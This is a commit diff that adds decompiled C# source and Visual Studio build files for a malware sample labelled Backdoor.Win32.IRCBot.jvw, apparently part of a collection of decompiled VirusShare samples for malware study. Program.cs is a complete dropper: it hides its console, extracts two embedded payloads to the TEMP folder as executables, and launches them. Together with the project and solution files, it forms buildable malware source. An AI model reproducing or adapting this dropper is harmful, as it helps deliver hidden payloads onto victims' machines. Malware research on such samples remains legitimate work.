auto-decompiled msil via petikvx

add

MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/AssemblyInfo.cs

@@ -0,0 +1,3 @@
+using System.Reflection;
+
+[assembly: AssemblyVersion("0.0.0.0")]

MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/Backdoor.Win32.IRCBot.jvw.csproj

@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{B85917D5-B554-47FD-9184-BEBE4ED872B1}</ProjectGuid>
+    <OutputType>Exe</OutputType>
+    <AssemblyName>magmog1</AssemblyName>
+    <ApplicationVersion>0.0.0.0</ApplicationVersion>
+    <RootNamespace>Stub</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Program.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="1.txt" />
+    <EmbeddedResource Include="2.txt" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/Backdoor.Win32.IRCBot.jvw.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "magmog1", "Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9.csproj", "{B85917D5-B554-47FD-9184-BEBE4ED872B1}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{B85917D5-B554-47FD-9184-BEBE4ED872B1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{B85917D5-B554-47FD-9184-BEBE4ED872B1}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{B85917D5-B554-47FD-9184-BEBE4ED872B1}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{B85917D5-B554-47FD-9184-BEBE4ED872B1}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/Program.cs

@@ -0,0 +1,67 @@
+// Decompiled with JetBrains decompiler
+// Type: Stub.Program
+// Assembly: magmog1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 78EA55E7-44CC-444B-8298-A36CCE31FE99
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9.exe
+
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+namespace Stub
+{
+  internal class Program
+  {
+    public static FileStream F1Stream;
+    public static FileStream F2Stream;
+
+    [DllImport("kernel32.dll")]
+    public static extern bool FreeConsole();
+
+    private static void Main(string[] args)
+    {
+      try
+      {
+        Program.FreeConsole();
+        bool flag1 = false;
+        bool flag2 = false;
+        bool flag3 = false;
+        bool flag4 = false;
+        bool flag5 = false;
+        bool flag6 = false;
+        Stream manifestResourceStream1 = Assembly.GetExecutingAssembly().GetManifestResourceStream("1.txt");
+        byte[] buffer1 = new byte[manifestResourceStream1.Length];
+        manifestResourceStream1.Read(buffer1, 0, buffer1.Length);
+        manifestResourceStream1.Close();
+        Stream manifestResourceStream2 = Assembly.GetExecutingAssembly().GetManifestResourceStream("2.txt");
+        byte[] buffer2 = new byte[manifestResourceStream2.Length];
+        manifestResourceStream2.Read(buffer2, 0, buffer2.Length);
+        Program.F1Stream = !flag2 ? (!flag3 ? new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\1.exe", FileMode.Create) : new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\1.mp3", FileMode.Create)) : new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\1.jpg", FileMode.Create);
+        Program.F1Stream.Write(buffer1, 0, buffer1.Length);
+        Program.F1Stream.Close();
+        Program.F1Stream.Dispose();
+        Program.F2Stream = !flag4 ? new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\2.exe", FileMode.Create) : new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\2.bat", FileMode.Create);
+        Program.F2Stream.Write(buffer2, 0, buffer2.Length);
+        Program.F2Stream.Close();
+        Program.F2Stream.Dispose();
+        Process process1 = new Process();
+        process1.StartInfo.FileName = !flag2 ? (!flag3 ? Environment.GetEnvironmentVariable("TEMP") + "\\1.exe" : Environment.GetEnvironmentVariable("TEMP") + "\\1.mp3") : Environment.GetEnvironmentVariable("TEMP") + "\\1.jpg";
+        if (flag6)
+          process1.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
+        process1.Start();
+        if (flag5)
+          process1.WaitForExit();
+        Process process2 = new Process();
+        process2.StartInfo.FileName = !flag4 ? Environment.GetEnvironmentVariable("TEMP") + "\\2.exe" : Environment.GetEnvironmentVariable("TEMP") + "\\2.bat";
+        if (flag1)
+          process2.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
+        process2.Start();
+      }
+      catch
+      {
+      }
+    }
+  }
+}